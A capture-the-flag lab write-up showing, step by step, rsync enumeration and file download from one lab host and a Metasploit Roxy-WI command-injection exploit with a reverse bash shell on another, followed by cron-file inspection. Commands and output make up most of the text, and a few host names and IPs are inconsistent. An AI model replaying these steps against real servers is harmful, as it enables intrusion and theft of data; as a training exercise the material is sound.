Host & Network Penetration Testing: The Metasploit Framework CTF 2

Lab Environment

In this lab environment, you will have GUI access to a Kali Linux machine. Two machines are accessible at **target1.ine.local** and **target2.ine.local**.

Objective: Using various exploration techniques, complete the following tasks to capture the associated flags:

- **Flag 1:** Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.
- **Flag 2:** The files on the RSYNC server hold valuable information. Explore the contents to find the flag.
- **Flag 3:** Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.
- **Flag 4:** Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.

HOST DISCOVERY(target1.ine.local)

STEP-1: We will scan the host to discovery weather it it in reach or not , there are two hosts the lab contains first we will exploit 1st target then we go to the next target .

ping -c target1.ine.local

```
└─# ping -c 4 target1.ine.local
PING target1.ine.local (192.232.122.3) 56(84) bytes of data.
64 bytes from target1.ine.local (192.232.122.3): icmp_seq=1 ttl=64 time=0.143 ms
64 bytes from target1.ine.local (192.232.122.3): icmp_seq=2 ttl=64 time=0.068 ms
64 bytes from target1.ine.local (192.232.122.3): icmp_seq=3 ttl=64 time=0.073 ms
64 bytes from target1.ine.local (192.232.122.3): icmp_seq=4 ttl=64 time=0.069 ms

--- target1.ine.local ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3099ms
rtt min/avg/max/mdev = 0.068/0.088/0.143/0.031 ms
```

We got the 0% packet loss so we can access the host .

PORT SCANNING AND ENUMERATION

STEP-1: Lets scan the ports and find the open ports and the service versions .

Nmap -sV -p- target1.ine.local

```
┌──(root㉿INE)-[~]
└─# nmap -sV -p- target1.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-14 17:04 IST
Nmap scan report for target1.ine.local (192.232.122.3)
Host is up (0.000033s latency).
Not shown: 65534 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
MAC Address: 02:42:C0:E8:7A:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.24 seconds
```

We found the port 873 is open and the rsync was running on the target.

EXPLOITATION

STEP-1: We will use the rsync tool to directly connect to the rsync to find the modules and the descriptions of it .

rsync rsync://target1.ine.local/

```
┌──(root㉿INE)-[~]
└─# rsync rsync://target1.ine.local/
backupwscohen   FLAG1_3ebe30ed33824791b2adbeeaa137d35b

┌──(root㉿INE)-[~]
└─#
```

We find our 1st flag.

STEP-2 : By our first flag we known a module name was exist on the server "**backupwscohen**"

So , now we will enumerate it by the command

rsync rsync://target2.ine.local/backupwscohen

```
┌──(root㉿INE)-[~]
└─# rsync rsync://target1.ine.local/backupwscohen/
drwxr-xr-x          4,096 2026/04/14 16:48:37 .
-rw-r--r--             20 2024/10/28 15:05:40 TPSData.txt
-rw-r--r--             25 2024/10/28 15:05:40 office_staff.vhd
-rw-r--r--             39 2026/04/14 16:48:37 pii_data.xlsx
```

I got all this files are exist on that module

STEP-3: I created a directory then I copy all this files into that directory .

```
└─# mkdir data

┌──(root㉿INE)-[~]
└─# rsync -av rsync://target1.ine.local/backupwscohen/ /data
receiving incremental file list
./
TPSData.txt
office_staff.vhd
pii_data.xlsx

sent 84 bytes  received 341 bytes  850.00 bytes/sec
total size is 84  speedup is 0.20
```

STEP-4:Navigate into the data directory then search all the files using the command

cat office_staff.vhd pii-data.xlsx TPSData.txt | grep -e “FLAG”

```
└─# cat office_staff.vhd pcap pii_data.xlsx TPSData.txt | grep -e "FLAG"
cat: pcap: Is a directory
FLAG2_3ce53cf9a217425284df72ea52f0b318
```

I got my 2nd flag

HOST DISCOVERY (target2.ine.local)

STEP-1:Scan the host to discovery weather it is reachable or not .

Ping -c 4 target2.ine.local

```
┌──(root㉿INE)-[~]
└─# ping -c 4 target.ine.local
PING target.ine.local (10.5.30.37) 56(84) bytes of data.
64 bytes from target.ine.local (10.5.30.37): icmp_seq=1 ttl=125 time=9.15 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=2 ttl=125 time=2.26 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=3 ttl=125 time=2.31 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=4 ttl=125 time=2.21 ms

--- target.ine.local ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 2.211/3.981/9.152/2.985 ms
```

The packet loss is 0% so the host is in reach and can access .

PORTSCANNING AND ENUMURATION

STEP-1: Lets scan the ports and find the open ports

Nmap -sV -p- target2.ine.local

```
┌──(root㉿INE)-[/]
└─# nmap -sV -p- target2.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-14 18:03 IST
Nmap scan report for target2.ine.local (192.232.122.4)
Host is up (0.000032s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.52 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.52
MAC Address: 02:42:C0:E8:7A:04 (Unknown)
Service Info: Host: roxy-wi.example.com

Service detection performed. Please report any incorrect results at https://nmap.org/submit
Nmap done: 1 IP address (1 host up) scanned in 15.34 seconds
```

STEP-2: Lets find the services running on this ports by using some default script scanning.

Nmap -sV -p80 -sC target2.ine.local

```
┌──(root㉿INE)-[/]
└─# nmap -sV -p80 -sC  target2.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-14 18:06 IST
Nmap scan report for target2.ine.local (192.232.122.4)
Host is up (0.000045s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Roxy-WI
MAC Address: 02:42:C0:E8:7A:04 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds
```

By the scan result we known that the target was running the **Roxy-WI**

EXPLOITATION

STEP-1: Open the Metasploit and search for the roxy-wi

```
msf6 > search roxy-wi

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/linux/http/roxy_wi_exec   2022-07-06       excellent  Yes    Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE
   1    \_ target: Unix (In-Memory)     .                .          .      .
   2    \_ target: Linux (Dropper)      .                .          .      .


Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/roxy_wi_exec
After interacting with a module you can manually set a TARGET with set TARGET 'Linux (Dropper)'

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
```

STEP-2: Set all the necessary options for the module and exploit it

NOTE : " set PAYLOAD cmd/unix/reverse_bash " and if you want upgrade it by using the command **sessions -u 1**

```
www-data@target2:/$ dir
dir
bin   dev  flag.txt  lib    lib64   media  opt   root  sbin  sys  usr
boot  etc  home      lib32  libx32  mnt    proc  run   srv   tmp  var
www-data@target2:/$ cat flag.txt
cat flag.txt
FLAG3_19020d53ebea43e582d3ea22faff69e9
www-data@target2:/$
```

We can see the flag.txt was exist on the target . Then extract the file content using cat flag.txt

Find the 3rd flag .

HINT: Flag was exist on the Scheduled jobs .

STEP-3: We known the scheduled jobs are existed on the **etc** directory .

In etc directory I find the cron.daily and cron.d , I don't find any thing in the cron.daily directory so I start exploring the cron.d directory .

```
www-data@target2:/etc$ cd cron.d
cd cron.d
www-data@target2:/etc/cron.d$ dir
dir
e2scrub_all  www-data-cron
www-data@target2:/etc/cron.d$ cat e2scrub_all
cat e2scrub_all
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
www-data@target2:/etc/cron.d$ cat www-data-cron
cat www-data-cron
* * * * * www-data echo "FLAG4_aa7a6ddcf74a4de0b147beb2a801efe7"
www-data@target2:/etc/cron.d$
```

In the cron.d directory they are 2 files. I explored 2 files as the figure below , in the www-data-cron file I find my final flag 4th .

CONCLUSION

Summary

This lab demonstrated a complete **host and network penetration testing workflow** against two Linux-based targets, target1.ine.local and target2.ine.local, as part of the **Host & Network Penetration Testing: The Metasploit Framework CTF 2**. Starting with minimal knowledge of the environment, the assessment followed a structured approach including **host discovery, port scanning, service enumeration, exploitation, and post-exploitation** using tools such as **Nmap**, **rsync**, and the **Metasploit Framework**.

The engagement began with target1.ine.local, where an exposed **RSYNC service** on port 873 was identified. Enumerating the RSYNC modules revealed **Flag 1**, and further analysis of the downloaded backup files from the backupwscohen module led to the discovery of **Flag 2**.

Subsequently, target2.ine.local was assessed, and a vulnerable **Roxy-WI** web application was identified. Exploiting this vulnerability using the Metasploit module linux/http/roxy_wi_exec with the cmd/unix/reverse_bash payload provided shell access, enabling the retrieval of **Flag 3**. Post-exploitation enumeration of scheduled tasks within /etc/cron.d uncovered **Flag 4**, emphasizing the importance of investigating automated system jobs.

Flags Captured

- **Flag 1** — Discovered by enumerating the RSYNC banner on target1.ine.local.
- **Flag 2** — Retrieved from files within the backupwscohen RSYNC module.
- **Flag 3** — Obtained after exploiting the Roxy-WI web application on target2.ine.local.
- **Flag 4** — Found in a cron job file within the /etc/cron.d directory during post-exploitation.

— Writeup by Showrya | Host & Network Penetration Testing: The Metasploit Framework CTF 2